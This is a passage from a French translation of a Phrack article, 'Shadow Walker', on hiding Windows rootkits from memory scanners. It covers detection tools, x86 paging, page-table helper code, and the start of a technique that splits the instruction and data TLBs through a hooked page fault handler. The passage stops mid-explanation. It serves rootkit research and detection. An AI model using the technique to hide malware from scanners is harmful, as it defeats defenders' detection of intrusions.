==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x14


|=-------------------------=[ Shadow Walker ]=---------------------------=|
|=--------=[ Raising The Bar For Windows Rootkit Detection ]=------------=|
|=-----------------------------------------------------------------------=|
|=---------=[ Sherri Sparks <ssparks at mail.cs.ucf dot edu > ]=---------=|
|=---------=[ Jamie Butler <james.butler at hbgary dot com >  ]=---------=|
|=---------=[ Traduit par Aryliin et TboWan pour arsouyes.org ]=---------=|

0 - Introduction et contexte
  0.1 - Motivations

1 - Détection de Rootkit
  1.2 - Détection de l'effet d'un Rootkit (Heuristiques)
  1.2 - Détecter le rootkit lui même (signatures)

2 - Analyse de l'architecture mémoire
  2.1 - Mémoire virtuelle   Pagination vs segmentation
  2.2 - Table des pages & PTE
  2.4 - Translation d'adresses virtuelles vers physiques
  2.5 - Le rôle du gestionaire de défaut de pages
  2.6 - Le problème de perforances de la pagination et le TLB

3 - Concept de camouflage mémoire
  3.1 - Cacher du code exécutable
  3.2 - Cacher des données
  3.3 - Travaux en rapport
  3.4 - Implémentation de la preuve de concept
      3.4.a - Rootkit FU modifié
      3.4.b - Moteur de détournement de la mémoire de Shadow Walker

4 - Limitations connues et impact sur les performances

5 - Détection

6 - Conclusion

7 - References

8 - Remerciements

--[ 0 - Introduction et contexte

Les rootkits ont historiquement eu des adaptations et des réponses
co-évolutionnistes avec le développement de technologies de défence
conçues pour contrecarrer leurs visées subversives. Si nous analysons
l'évolution des technologies des rootkits, ce schéma est évident. Les
rootikits de premières générations étaient primitifs. Ils
remplaçaient/modifiaient simplement des fichiers clefs du système sur le
système de la victime. Le programme UNIX de login était une cible commune
et demandait que l'attaquant remplace le binaire originale avec une
version malicieuse améliorée qui enregistrait le mot de passe. Puisque ces
modifications des premiers rootkits étaient limitées au système de
fichier, ça a lancé le développement d'outils de vérification de
l'intégrité du système de fichiers comme Tripwire [1].

En réponse, les développeurs de rootikits ont fait leurs modifications en
dehors du disque, dans l'image mémoire des programme chargés et, encore
une fois, ont échapé à la détection. Cette "deuxième" génération de
rootkits ont d'abords été basé sur des techniques de détournement qui
altèrent le chemin d'exécution en faisant des patches mémoire des
applications chargées et de certains composants systèmes comme la table
des appels systèmes. Bien que plus furtives, ces modifications restent
détectables par des recherches heuristiques d'anomalies. Par exemple, il
est suspect qu'une table de services système contienne un pointeur qui
pointe en dehors du noyau du système d'exploitation. C'est la technique
utilisée par VICE [2].

La troisième génération de technique de rootkits noyaux comme la Direct
Kernel Object Manipulation (DKOM) [NDT : Manipulation Direct d'Objets
Noyaux], qui a été implémentée dans le rootkit FU [3], tire avantage des
faiblesses des implémentations courantes des logiciels de détection en
modifiant dynamiquement des structures de données noyau changantes, pour
lesquelles il est d'impossible d'établir de niveau de référence statique
de confiance.

----[ 0.1 - Motivations

Toutes ces différentes techniques sont implémentées par au moins un
rootikit public, cependant, même le rootkit windows le plus sophistiqué,
comme FU, a un défaut inhérent. Ils corrompent essentiellement tous les
sous-systèmes des systèmes d'exploitations sauf une : la gestion de la
mémoire. Les rootkits noyaux peuvent controler le chemin d'exécution du
code noyau, changer les données du noyau et fausser le valeurs de retour
des appels systèmes, mais ils n'ont pas (encore) montré de capacité à
intercepter ou fausser le contenu de la mémoire vu par une autre
application. En d'autre mots, les rootkits noyaux publics sont des proies
faciles pour les scans mémoire par signatures. C'est seulement maintenant
que des compagnies commencent à penser à implémenter des scans de mémoire
par signature.

Se cacher des scans de mémoire est similaire au problème rencontré par les
premiers virus, qui tentaient de se cacher dans le système de fichiers.
Les auteurs de virus ont réagis face aux programmes anti-virus qui
scannaient le système de fichier en développant des techniques
polymorphiques et métamorphiques pour échaper à la détection. Le
polymorphisme tente d'altérer l'image binaire d'un virus en remplacant des
blocs de codes par d'autres blocs fonctionnellement équivalents mais qui
ne se ressemblent pas (par exemple, utiliser un opcode différent pour
faire la même tâche). Les codes polymorphiques altèrent donc l'apparence
superficielle d'un bloc de code, mais ils ne changent pas fondamentalement
l'apparence de la région mémoire vue par le scanner.

Traditionnellement, il y a eu trois approches générale dans la détection
de code malicieux : la détection d'abus, qui se base sur des signatures de
codes; la détection d'anomalies, qui se base sur des heuristiques et des
différences statistiques par rapport au comportement "normal"; et les
tests d'intégrités, qui comparent une image courante du système de fichier
en mémoire avec un repère de confiance. Un rootkit polymorphique (ou un
virus) évite effectivement la détection basées sur signatures sur son
code, mais tombe très vite sous le coup des détections d'anomalies ou
d'intégrités parce qu'il ne peux pas facilement camoufler les changements
qu'il fait au code binaire edxistant et aux autres composants du système.

Maintenant, imaginez un rootkit qui ne fait aucun effort pour changer son
apparence superficielle, parce qu'il est capable d'altérer
fondamentalement la vue d'un détecteur sur une région mémoire arbitraire.
Quand le détecteur tente de lire une région mémoire modifiée par le
rootkit, il voit en fait une zone mémoire "normale", non altérée. Il n'y a
que le rootkit qui voie la vraie zone mémoire modifiée. Un tel rootkit est
clairement capable de comprometre toutes les méthodes de détection
primaires à des degrés variables. Les implications à la détection d'abus
sont évidents. Un scanner essayant de regarder la zone mémoire du rootkit
chargé en mémoire à la recherche de signature de code récupèrera
simplement une "fausse" zone aléatoire (par exemple, qui n'inclu pas son
propre code). Il y a aussi des implications aux tests d'intégrités. Dans
ces cas, le rootkit retourne retourne la vue non altérée de la mémoire à
tous les autres processus autres que lui-même. Le programme de détection
voit un code non-altéré, trouve un CRC ou un hash normal, et (en se
trompant), assume que tout est bon. Finalement, toutes les détections
d'anomalie se basant sur l'identification de caractéristiques de
structures anormales seront dupes puisqu'elles récupèrent une vue
"normale" du code. Un exemple de ceci pourrait être un scanner comme VICE
qui tente d'identifier heuristiquement des détournements de fonctions
inline par la présente d'un saut direct au début du corps de la fonction.

Les rootkits courants, à l'exeption de Hacker Defender [4], n'on fait que
de petits efforts pour introduire des techniques de polymorphisme viral,
voir aucun effort du tout. Comme dit plus haut, bien que ça soit une
technique intéressante, le polymorphisme n'est pas une solution adaptée au
problème des rootkits parce qu'ils ne peuvent pas facilement camoufler les
changements qu'ils doivent faire au code existant pour installer leurs
détournements. Notre objectif est donc de montrer une preuve de concept
que les architectures permettent de détourner la gestion mémoire pour
qu'un rootkit noyau non polymorphique (ou un virus) soit capable de
controler la façon de voir une zone mémoire du système d'exploitation et
des autres processus avec un cout d'exécution minimal. Le résultat final
est qu'il est possible de cacher pour les détecteurs un rootkit "connu"
(pour lequel une signature de code existe). À cette fin, nous avons conçu
une version "améliorée" du rootkit FU. Dans la section 1, nous discutons
des techniuqes de base pour détecter un rootkit. Dans la section 2, nous
donnons un résumé des bases de l'architecture x86. La section 3 met
l'accent sur les concept de camouflage mémoire et de l'implémentation de
la preuve de concept pour notre rootkit amélioré. Enfin, nous concluons
par une discussion sur sa détectabilité, ses limitations, ses extentions
futures et de l'impact sur les performances. Sans plus de cérémonie, nous
vous souhaitons la bienvenue dans l'ère des rootkits de 4ème génération.

--[ 1 - Détection de Rootkit

Jusqu'il y a quelques mois, la détection de rootkits était largement
ignorée par les vendeurs en sécu. Beaucoup classaient érronnément les
rootkits dans la même catégorie que d'autres virus et malwares. À cause de
cela, les compagnies de sécurité continuent d'utiliser les mêmes tecniques
de détection, la plus importante d'entre elles étant le scan de signatures
dans le système de fichier. Ce n'est que partiellement efficace. Une fois
qu'un rootkit est chargé en mémoire, il peut se supprimer du disque,
cacher ses fichiers, ou même détourner une tentative d'ouverture du
fichier du rootkit. Dans cette section, nous allons examiner les plus
récentes avancées dans la détection de rootkits.

----[ 1.2 - Détection de l'effet d'un Rootkit (Heuristiques)

Un méthode pour détecter la présence d'un rootkit est de détecter comment
il altère d'autres paramètre sur le système de l'ordinateur. De cette
façon, les effets du rootkit sont vu bien que le rootkit qui cause ces
changements ne soit pas connu. Cette solution est une approche plus
générale puisqu'aucune signature particulière de rootkit n'est nécessaire.
Cette technique cherche aussi après le rootkit en mémoire et non sur le
système de fichier.

Un effet d'un rootkit est qu'il doit normalement altérer le chemin
d'exécution d'un programme normale. En s'insérant lui-même au milieu de
l'exécution du programme, il peut agir comme un Man In The Middle entre
les fonctions noyaux utilisées par le programme et le programme lui-même.
Dans cette position de force, le rootkit peut altérer ce que le programme
voit et fait. Par exemple, le rootkit peut retourner un descripeur de
fichier de logs différent de celui que le programme voulait ouvrir, ou le
rootkit peut changer la destination de communication réseau. Ces patches
et ces détournements impliquent d'exécuter des instructions
supplémentaires. Quand une fonction patchée est comparée à une fonction
normale, la différence du nombre d'instructions exécutées peut être
indicatrice d'un rootkit. C'est la technique utilisée par PatchFinder [5].
L'un des défauts de PathFinder est que le CPU doit être en mode pas à pas
pour pouvoir compter les instructions. Donc, pour chaque instruction
exécutée, une interruption est générée et doit être gerée. Ceci ralenti
les performances du système, ce qui est inconcevable sur une machine de
production. En plus, le nombre effectif d'instruction exécutée peut
varier, même sur un système sain. Un autre outil de détection de rootkit,
appelé VICE, détecte la présente de détournements dans les applications et
dans le noyau. VICE analyse les adresses des fonctions exportées par le
système d'exploitation pour chercher les détournements. Les fonctions
exportées sont des cibles typiques des rootkits parce que les rootkits
peuvent se cacher en filtrant certaines API. En découvrant les
détournements eux-mêmes, VICE évite le problème associé au comptage des
isntructions. Cependant, VICE se base aussi sur certaines API, il est donc
possible pour un rootkit de le vaincre [6]. La plus grande faiblesse
courante de VICE est qu'il détecte tous les détournements, malicieux et
bénin. Le détournement est une méthode légitime utilisée par beaucoup de
produits de sécurités.

Une autre approche pour détecter les effets des rootkits est d'identifier
les mensonges du système d'exploitation. Le système d'exploitation offre
une API connue pour que les applications puissent interragir avec lui.
Quand un rootkit altère le résultat d'une API particulière, c'est un
mensonge. Par exemple, Windows Explorer peut demander le nombre de fichier
dans un répertoire d'un répertoire en utilisant différentes fonctions de
l'API Win32. Si un rootkit change le nombre de fichier que l'application
peut voir, c'est un mensonge. Pour le détecter, un détecteur de rootkit a
besoin de deux manière d'avoir une même information. alors, les deux
résultats sont comparés. RootKitRevealer [7] utilise cette technique. Il
appelle l'API la plus haute et compare ses résultats avec ceux de l'API de
plus bas niveau. Cette méthode peut être court-circuitée par un rootkit
s'il contrôle les fonctions au niveau le plus bas. RootKitRevealer ne se
tracasse pas non plus d'altération de données. Le rootkit FU altère les
structures de données noyau pour cacher ses processus. RootKitRevealer ne
le détecte pas parce qu'à la fois les API des couches hautes et basses
retournent les mêmes structures altérées. Blacklight de F-Secure [8]
essaye aussi de détecter les déviations de la vérité. Pour détecter les
processus cachés, il se base sur des structures noyau non documentées. De
la même manière que FU parcour la liste chainée des processus à cacher,
Blacklight parcours la liste chainée des tables de gestion dans le noyau.
Chaque processus à une table de gestion ; et donc, en identifiant toutes
les tables de gestion, Blacklight peut trouver un pointeur vers chaque
processus sur l'ordinateur. FU a été amélioré pour retirer les processus
cachés de la liste chainée des tables de gestion. Cette course à
l'armement continuera.

----[ 1.2 - Détecter le rootkit lui-même (signatures)

Les compagnies d'anti-virus ont montré que scanner le système de fichier à
la recherche de signatures peut être efficace ; cependant, ça peut être
compromis. Si l'attaquant camoufle le binaire en utilisant des fonctions
de packers, la signature ne correspondra plus au rootkit. Une signature du
rootkit tel qu'il s'exécute en mémoire est une façon de résoudre le
problème. Certains systèmes de prévention d'intrusions basées sur l'hôte
(HIPS - host based intrusion prevention systems) essayent d'éviter que le
rootkit soit chargé. Cependant, il est extrêment difficile de bloquer
toutes les manières que du code soit chargé en mémoire. Des papiers
récents de Jack Barnaby [9] et Chong [10] ont soulignés le problème des
exploits noyaux, qui permettent à du code arbitraire d'être chargé en
mémoire et exécuté.

Bien que le scan du système de fichier et la détection de chargement
soient nécessaires, la dernière couche de détection est peut-être le scan
de la mémoire elle-même. Elle fournis une couche de sécurité si le rootkit
a contourné les tests précédents. La signature en mémoire est plus fiable
parce que le rootkit doit se dépacker ou se déchiffrer pour s'exécuter. Le
scan mémoire peut tout aussi bien être utilisé pour trouver un rootkit ou
être utilisé pour vérifier l'intégrité du noyau lui-même puisqu'il a une
signature connue. Scanner la mémoire noyau est aussi beaucoup plus rapide
que de scanner tout ce qu'il y a sur le disque. Arbaugh et. al. [11] on
poussé cette technique au niveau supérieur en implémentant un scanner sur
une carte séparée avec son propre CPU.

La section suivante expliquera l'architecture mémoire sur Intel x86.

--[ 2 - Analyse de l'architecture mémoire

Dans l'histoire des premiers ordinateurs, les programmeurs étaient
contraint par la quantité de mémoire physique contenue dans le système.
Si un programe était trop gros pour entrer dans la mémoire, c'était au
programmeur de se débrouiller pour diviser le programme en petit morceaux
qui puissent être chargés et déchargés à la demande. Ces morceaux étaient
appelés "overlays". L'obligation de ce type de gestion de mémoire des
programmeurs au niveau utilisateur augmenta la complexité et les erreurs
de programmations tout en réduisant l'efficacité. La mémoire virtuelle a
été inventée pour désengorger les programmeurs de cette charge.

----[ 2.1 - Mémoire virtuelle - Pagination vs segmentation

La mémoire virtuelle est basée sur la séparation de l'espace d'adressage
virtuel et physique. La taille de l'espace d'adressage virtuel est
fonction directe de la taille du bus d'adresse tandis que la taille de
l'espace d'adressage physique dépend de la quantité de RAM installée dans
le système. Donc, un système utilisant des bus de 32 bits est capable
d'adresser 2^32 (ou ~ 4Go) d'octets physiques de mémoire contigüe. On ne
trouvera souvent pas toute cette quantité de mémoire installée. Si c'est
le cas, l'espace d'adressage virtuel sera plus grand que l'espace
physique. La mémoire virtuelle divise à la fois l'espace d'adressage
physique et virtuel en blocks de taille fixe. Si les blocks sont tous de
même taille, on dit que le système utilise un modèle de mémoire paginée.
Si les blocks sont de tailles différentes, on considère qu'il utilise un
modèle de segmentation. L'architecture x86 est en fait hybride, utilisant
à la fois la segmentation et la pagination, cependant, cet article se
focalisera surtout sur l'exploitation des mécanismes de pagination.

Sous le modèle de pagination, les blocks de mémoire virtuelles sont
appellés pages et ceux de mémoire physique sont appellés cadres [NDT :
frames]. Chaque page mémoire correspond à un cadre physique. C'est ce qui
permet à l'espace d'adressage virtuel vu par un programme d'être plus
grand que la quantité de mémoire physique (par exemple, il peut y avoir
plus de pages virtuelles que de cadres physiques). Ça veut aussi dire que
les pages virtuelles contigües ne doivent pas nécessairement être
physiquement contigües. Ce point est illustré par la figure 1.


  ESPACE D'ADRESSAGE                   ESPACE D'ADRESSAGE
       VIRTUEL                             PHYSIQUE
   /-------------\                      /-------------\
   |             |                      |             |
   |   PAGE 01   |---\   /----------->>>|  CADRE 01   |
   |             |   |   |              |             |
   ---------------   |   |              ---------------
   |             |   |   |              |             |
   |   PAGE 02   |------------------->>>|  CADRE 02   |
   |             |   |   |              |             |
   ---------------   |   |              ---------------
   |             |   |   |              |             |
   |   PAGE 03   |   \---|----------->>>|  CADRE 03   |
   |             |       |              |             |
   ---------------       |              \-------------/
   |             |       |
   |   PAGE 04   |       |
   |             |       |
   |-------------|       |
   |             |       |
   |   PAGE 05   |-------/
   |             |
   \-------------/

 [ Figure 1 - Correspondance mémoire virtuelle/physique (pagination) ]
 [                                                                   ]
 [ NOTE : 1. L'espace d'adressage physique et virtuel est divisé en  ]
 [ blocks de taille fixe. 2. L'espace d'adressage virtuel peut être  ]
 [ plus grand que l'espace d'adressage physique. 3. Des blocks       ]
 [ virtuels contigüs ne doivent pas forcément correspondre à des     ]
 [ cadres physiquement contigüs                                      ]

----[ 2.2 - Table des pages & PTE

Les informations de correspondances qui mettent en relation adresse
virtuelles et cadres physiques sont stockées dans une table de page dans
des structure connue en tant que PTE's. Les PTE's enregistrent aussi des
informations de status. Les bits de status indiquent, par exemple, si la
page est valide ou pas (physiquement présente en mémoire ou stockée sur le
disque), si on peut y écrire, ou si c'est une page utilisateur /
superutilisateur. La figure 2 montre le format d'un TPE pour x86.

   Valid          <------------------------------------------------\
   Read/Write     <--------------------------------------------\   |
   Privilege      <----------------------------------------\   |   |
   Write Through  <------------------------------------\   |   |   |
   Cache Disabled <--------------------------------\   |   |   |   |
   Accessed       <---------------------------\    |   |   |   |   |
   Dirty          <-----------------------\   |    |   |   |   |   |
   Reserved       <-------------------\   |   |    |   |   |   |   |
   Global         <---------------\   |   |   |    |   |   |   |   |
   Reserved       <----------\    |   |   |   |    |   |   |   |   |
   Reserved       <-----\    |    |   |   |   |    |   |   |   |   |
   Reserved       <-\   |    |    |   |   |   |    |   |   |   |   |
                    |   |    |    |   |   |   |    |   |   |   |   |
   +----------------+---+----+----+---+---+---+----+---+---+---+---+-+
   |              |   |   |    |    |   |   |   |    |   | U | R |   |
   | PAGE FRAME # | U | P | Cw | Gl | L | D | A | Cd | Wt| / | / | V |
   |              |   |   |    |    |   |   |   |    |   | S | W |   |
   +-----------------------------------------------------------------+

   [ Figure 2 - format TPE x86 (Page sur 4 octets) ]

----[ 2.4 - Translation d'adresses virtuelles vers physiques

Les adresse virtuelles contiennent les informations nécessaire pour
trouver leur PTE dans la table des pages. Elles sont divisées en deux
parties : le numéro de page virtuelle et l'index de d'octet. Le numéro de
page virtuel nous donne l'entrée dans la table des pages et l'index
d'octet fournis l'offset l'offset au sein du cadre physique. Quand une
référence mémoire à lieu, on cherche le PTE dans la table des pages en
ajoutant à l'adresse de base de la table des pages, le numéro de la page
virtuelle * la taille d'une entrée dans la PTE. L'adresse de base de la
page en mémoire physqique est alors extraite du PTE et combinée avec
l'offset de l'octet pour avoir l'adresse physique à envoyer à l'unité de
mémoire. Si l'espace d'adressage virtuel est particulièrement grand et que
les tailles des pages sont particulièrement petites, il est évident que ça
nécessitera d'avoir une grande table de pages pour garder toutes les
informations de correspondances. Et puisque la table des pages doit rester
en mémoire principale, une grande table peut être couteuse. Une solucion à
ce dilemne est d'utiliser un schéma de pagination à plusieurs niveaux. Un
schéma de pagination à deux niveau, en fait, pagine la table des pages. Il
divise ensuite le numéro de page virtuelle en un répertoire de pages, et
un index dans la table. Ce schéma de pagination à deux niveaux est celui
supporté par x86. La figure 3 illustre comment l'adresse virtuelle est
divisée en un index dans le répertoire des pages et en table de page, et
la figure 4 illustre le processus de translation d'adresse.

   +---------------------------------------+
   | 31                                 12 |                 0
   | +----------------+ +----------------+ | +---------------+
   | |    INDEX DE    | |    INDEX DE    | | | INDEX D'OCTET |
   | |   RÉPERTOIRE   | |      PAGE      | | |               |
   | +----------------+ +----------------+ | +---------------+
   |       10 bits            10 bits      |      12 bits
   |                                       |
   |      NUMÉRO DE PAGE VIRTUELLE         |
   +---------------------------------------+

   [ Figure 3 - adresses x86 & schéma d'indexation de la table des pages ]

     +--------+
   /-|KPROCESS|
   | +--------+
   |               Adresse virtuelle
   | +------------------------------------------+
   | | Index de rep.  | Index de   | Index      |
   | | de pages       | table      | d'octet    |
   | +-+-------------------+-------------+------+
   |   | +---+             |             |
   |   | |CR3| Adresse     |             |
   |   | +---+ physique du |             |
   |   |       rep. de page|             |
   |   |                   |             \--------\
   |   |                   |                      |
   |   |  Repertoire       |     Table            |     Mémoire physique
   \---|->+------------+   | /-->+------------+   |  /->+------------+
       |  |            |   | |   |            |   |  |  |            |
       |  |            |   | |   |            |   |  |  |            |
       |  |            |   | |   |            |   |  |  |------------|
       |  |            |   | |   |            |   |  |  |            |
       |  |------------|   | |   |            |   |  |  |   Cadre    |
       \->|    PDN     |---|-/   |            |   |  |  |   de Page  |
          |------------|   |     |            |   \--|---->          |
          |            |   |     |            |      |  |------------|
          |            |   |     |            |      |  |            |
          |            |   |     |            |      |  |            |
          |            |   |     |            |      |  |            |
          |            |   |     |------------|      |  |            |
          |            |   \---->|    PFN     -------/  |            |
          |            |         |------------|         |            |
          +------------+         +------------+         +------------+
          (1 par process)      (512 par processs)

   [ Figure 4 - Translation d'adresse x86 ]

Un acces mémoire sous un schéma de pagination en deux niveaux implique
potentiellement la séquence d'étapes suivantes :

1. Chercher l'entrée dans le répertoire des pages (PDE).
   PDE = adresse de base du répertoire + taill(PDE) * index dans le
   répertoire (extrait de l'adresse virtuelle qui cause l'accès mémoire).
   NOTE : Windows charge le répertoire de pages à l'adresse virtuelle
   0xC0300000. L'adresse de base pour les répertoires de pages sont
   toujours localisées dans le block KPROCESS et le registre CR3 contient
   l'adresse physique du répertoire de pages courant.

2. Recherche de l'entrée dans la table des pages.
   L'entrée = adresse de base de la table + taille(PTE) * index dans la
   table des pages (extrait de l'adresse virtuelle qui cause l'accès
   mémoire).
   NOTE : Windows charge la table des pages à l'adresse virtuelle
   0xC0000000. L'adresse de base physique des tables de pages est aussi
   stocké dans l'entrée du répertoire de pages.

3. Recherche de l'adresse physique.
   L'adresse = Contenu du PTE + index d'octet.
   NOTE : le PTE contient l'adresse physique du cadre physique. C'est
   combiné avec l'index d'ocet (offset dans le cadre) pour former une
   adresse physique complète. Pour ceux qui préfèrent le code aux
   explications, les deux procédures suivantes montrent comment la
   translation à lieu. La première procédure effectue les deux premières
   étapes ci-dessus. Elle retourne un pointeur vers l'entrée de la table
   de spages pour une adresse virtuelle donnée. La deuxième procédure
   retourne l'adresse physique de base du cadre qui correspond à la page.

#define PROCESS_PAGE_DIR_BASE                  0xC0300000
#define PROCESS_PAGE_TABLE_BASE                0xC0000000
typedef unsigned long* PPTE;

/**************************************************************************
* GetPteAddress - Retourne un pointeur vers l'entrée de la table des pages
*                 correspondant à une adresse mémoire donnée.
*
* Paramètres :
*       PVOID VirtualAddress - Adresse pour laquelle vous voulez un
*                              pointeur vers l'entrée de la table des
*                              pages.
*
* Retourne -  Pointeur vers l'entrée de la table des pages pour
*             VirtualAddress ou un code d'erreur.
*
* Codes d'erreurs :
*       ERROR_PTE_NOT_PRESENT - La page de table pour l'adresse virtuelle
*                               donnée n'est pas présente en mémoire.
*      ERROR_PAGE_NOT_PRESENT - La page contenant les données pour
*                               l'adresse virtuelle n'est pas présente
*                               en mémoire.
**************************************************************************/
PPTE GetPteAddress( PVOID VirtualAddress )
{
        PPTE pPTE = 0;
        __asm
        {
                cli                     //inhibe les interruption
                pushad
                mov esi, PROCESS_PAGE_DIR_BASE
                mov edx, VirtualAddress
                mov eax, edx
                shr eax, 22
                lea eax, [esi + eax*4]  //pointeur vers le répertoire
                test [eax], 0x80        //est-ce une grosse page ?
                jnz Is_Large_Page       //ça l'est
                mov esi, PROCESS_PAGE_TABLE_BASE
                shr edx, 12
                lea eax, [esi + edx*4]  //Pointeur vers le PTE
                mov pPTE, eax
                jmp Done

                //NOTE : Il n'y a pas de table de pages pour les grosses
                //pages parce que les cadres physiques sont contenus dans
                //dans le répertoire des pages.
                Is_Large_Page:
                mov pPTE, eax

                Done:
                popad
                sti                    //ré-autorise les interruptions
        }//end asm

        return pPTE;

}//end GetPteAddress

/**************************************************************************
* GetPhysicalFrameAddress - Donne l'adresse physique de base à laquelle
*                           correspond. Ça correspond aux bits 12 - 32
*                           du PTE
*
* Paramètres :
*       PPTE pPte - Pointeur vers le PTE dont vous voulez
*
* Retourne : L'adresse physique de la page
**************************************************************************/
ULONG GetPhysicalFrameAddress( PPTE pPte )
{
        ULONG Frame = 0;

        __asm
        {
                cli
                pushad
                mov eax, pPte
                mov ecx, [eax]
                shr ecx, 12  //le cadre physique correspond aux
                             //20 bits de poid fort
                mov Frame, ecx
                popad
                sti
        }//end asm
        return Frame;

}//end GetPhysicalFrameAddress

----[ 2.5 - Le rôle du gestionaire de défaut de pages

Puisque la plupart des processus n'utilise qu'une petite partie de leurs
espace d'adressage virtuel, seul la portion utilisée est chargée en
mémoire. Aussi parce que la mémoire physique sera surement plus petite que
l'espace d'adressage virtuel, l'OS peut décharger les pages utilisée

depuis le plus longtemps vers le disque (le fichier de pages) pour
satisfaire les demandes mémoires courantes. L'allocation des cadres est
gérée par le système d'exploitations. Si un processus est plus grand que
la mémoire physique disponible, ou que le système d'exploitation n'a plus
de cadres physiques libres, certaines des pages allouées doivent être
swappées vers le disque pour faire de la place. Ces pages swappées sont
stockées dans le fichier des pages. Les informations sur le fait qu'une
page soit ou non en mémoire sont stockées dans l'entrée de la table des
pages. Quand un accès mémoire à lieu, si la page n'est pas présente en
mémoire principale, un défaut de page est généré. C'est le boulot du
gestionnaire de défaut de page de résoudre les requêtes d'E/S en swappant
une page peut utilisée si toutes les cadres physiques sont utilisés et
d'ensuite rapporter la page requise depuis le fichier de pages. Quand la
mémoire virtuelle est activée, chaque accès mémoire doit regarder dans la
table des pages pour déterminer le cadre physique correspondant et s'il
est ou pas présent en mémoire physique. Ça génère un surcoût de
performances substantiel, surtout quand l'architecture est basées sur un
schéma de pagination multi-niveaux comme pour le Pentium. Le déroulement
du défaut de page lors d'accès méoire peut-être résumé de la façon
suivante :

1. Regarder dans le répertoire de pages pour déterminer si la table de
   page est présente en mémoire.
2. Si non, une requête d'E/S est faite pour récupérer la table des pages
   depuis le disque.
3. Regarder dans la table des pages pour savoir si la page requise est
   présente en mémoire principale.
4. Si non, une requête d'E/S est faite pour récupérer la page depuis le
   disque.
5. Aller chercher l'octet requis dans la page.

Et donc, chaque accès mémoire, dans le meilleur des cas, requièrt 3 accès
mémoires, 1 pour récupérer le répertoire de page, 1 pour accéder à la
table des pages, et 1 pour récupérer la donnée au bon offset. Dans le pire
des cas, ça va requérir 2 E/S disques (si les pages sont swappées sur le
disque). Donc, la mémoire virtuelle implique un gros coût de performances.

----[ 2.6 - Le problème de perforances de la pagination et le TLB

Le "translation lookaside buffer" (TLB) a été introduit pour réduire ce
problème. En gros, le TLB est un cache matériel qui garde les
correspondances d'adresses virtuelles fréquentes. Puisque le TLP est
implémenté en utilisant des mémoire à association très rapides, il peut
être utiliser pour la translation beaucoup plus vite qu'en regardant dans
la table des pages. Pour un accès mémoire, on cherche d'abord dans le TLB
après une translation valide. Si elle est trouvée, on appelle ça une
réussite du TLB. Sinon, c'est un ratage. Une réussite du TLB, donc,
court-circuite la recherche lente dans la table des pages. Les TLB
modernes ont un taux de réussite très élevé et impliquent rarement une
pénalité en regardant la translation dans la table des pages.

--[ 3 - Concept de camouflage mémoire

L'un des buts d'un rootkit avancé est de cacher ses changement du code
exécutable (par exemple, un patch statique du code). Évidement, il aimera
aussi cacher son propre code. Le code, comme les données, sont en mémoire
et on peut définir les accès mémoires de base de la façon suivante :

  - EXECUTE
  - READ
  - WRITE

Techinquement parlant, nous savons que chaque page virtuelle correspond à
un cadre physiue défini par un certain nombre de bits dans le PTE. Que se
passerait-il si nous pouvions filtrer les accès mémoire EXECUTE et les
faires correspondres à un autre cadre physique que les accès READ / WRITE
? Du point de vue d'un rootkit, ceci serait très avantageux. Considérons
le cas d'un hook statique. Le code modifié fonctionnerait normalement,
mais toute tentative de lire (c'est à dire le détecter) les changements du
code serait divertis par un cadre physique "vierge" qui contien une vue de
l'exécutable original, de code non altéré. Similairement, un driver
rootkit voudrait se cacher lui-même en divertissant les accès READ dans sa
zone mémoire vers une page contenant n'importe quoi, ou une page contenant
la vue d'un code "inocent". Ceci impliquerait qu'il serait possible de
tromper à la fois les scanneur de signatures et les surveillances
d'intégrités. En fait, une fonctionnalité matérielle de l'architecture
Pentium rend possible qu'un rootkit effectue ce quelques trucs avec un
impact minimal sur les performances systèmes. Nous décrivons les détails
dans la section suivante.

----[ 3.1 - Cacher du code exécutable

Ironiquement, la méthode générale dont nous allons discuter est une
extention offensive de techniques de protections existantes de débordement
de pile connues comme PaX. Nous discutons brièvement de l'implémentation
de PaX en 3.3 sous des travaux relatifs.

Pour permettre de cacher du code exécutable, il y a au moins 3 choses qui
doivent être prises en compte.

1. Nous avons besoin de filtrer les EXECUTE et les READ/WRITE.
2. Nous avons besoin de fausser les accès READ/WRITE quand ils sont
   détectés.
3. Nous devons garantir que les performances ne soient pas affectées.

Le premier point concerne la façon de filtrer les accès en exécution des
accès en lecture/écriture. Quand la mémoire virtuelle est activée, le
restrictions d'accès mémoires sont renforcés en placant un bits dans le
PTE qui spécifie si la page est en lecture seule ou en lecture-écriture.
Sous architecture IA-32, cependant, toutes les pages sont exécutables. Et
donc, il n'y a aucune manière officielle de filtrer les accès en exécution
des autres accès et donc, de renforcer la sémantique "exécute seulement /
diverti lecture-écriture" nécessaire pour que ce schéma fonctionne. On
peut cependant piéger et filtrer les accès mémoire en marquant leur PTE
comme non présente et en déviant le gestionnaire de défaut de page. Dans
le gestionnaire de défaut de page, nous avons accès au pointeur
d'instruction sauvé et à l'adresse fautive. Si le pointeur d'instruction
est le même que la page fautive, alors, c'est un accès en exécution.
Sinon, c'est une lecture/écriture. Comme l'OS utilise le bit de présence
dans la gestion mémoire, nous devons aussi différencier entre les défauts
de pages dûs à nos bidouilles des défauts normaux. La manière la plus
simple est de demander que toutes les pages concernées soient dans une
mémorie non paginée, ou explicitement verrouillées via l'API comme 
MmProbeAndLockPages. 

Le deuxième point concerne comment "fausser" les accès EXECUTE et READ /
WRITE quand on les détectes (et en le faisant avec le plus petit impact
sur les performances). Dans notre cas, l'architecture du TLB du Pentium
vient à la rescousse. Le Pentium a un double TLB, un TLB pour les
instructions et l'autre pour les données. Comme mentionné plus haut, le
TLB met en cache les correspondances des pages virtuelles/physiques quand
la mémoire virtuelle est activée. Normalement le ITLB et le DTLB sont
synchronisés et contiennent les mêmes informations pour une même page.
Bien que le TLB soit contrôlé par le matériel, on dispose de quelques
méchanismes logiciels pour le manipuler.

  - Recharger cr3 supprime toutes les entrées du TLB sauf les globales.
    Ceci a lieu typiquement lors d'un changement de contexte.
  - Le invlpg supprime une entrée spécifiée du TLB.
  - Exécuter un accès vers des données implique que le DTLB charge les
    informations de correspondances pour la page qu'on accède.
  - Exécuter un call implique que l'ITLB charge les informations de
    correspondances pour la page contenant le code à exécuter
    correspondant au call.

On peut filtrer les acces en exécution des acces en lecture / écriture et
les tromper en désynchronisant les TLB's de telle façon que l'ITLB
contienne une correspondance entre page virtuelle et cadre physique
différente du DTLB. Ce processus est effectué comme suit :

D'abord, un nouveau gestionnaire de défaut de page est installé pour gérer
les accès aux pages camouflées. Ensuite, les pages-à-camoufler sont
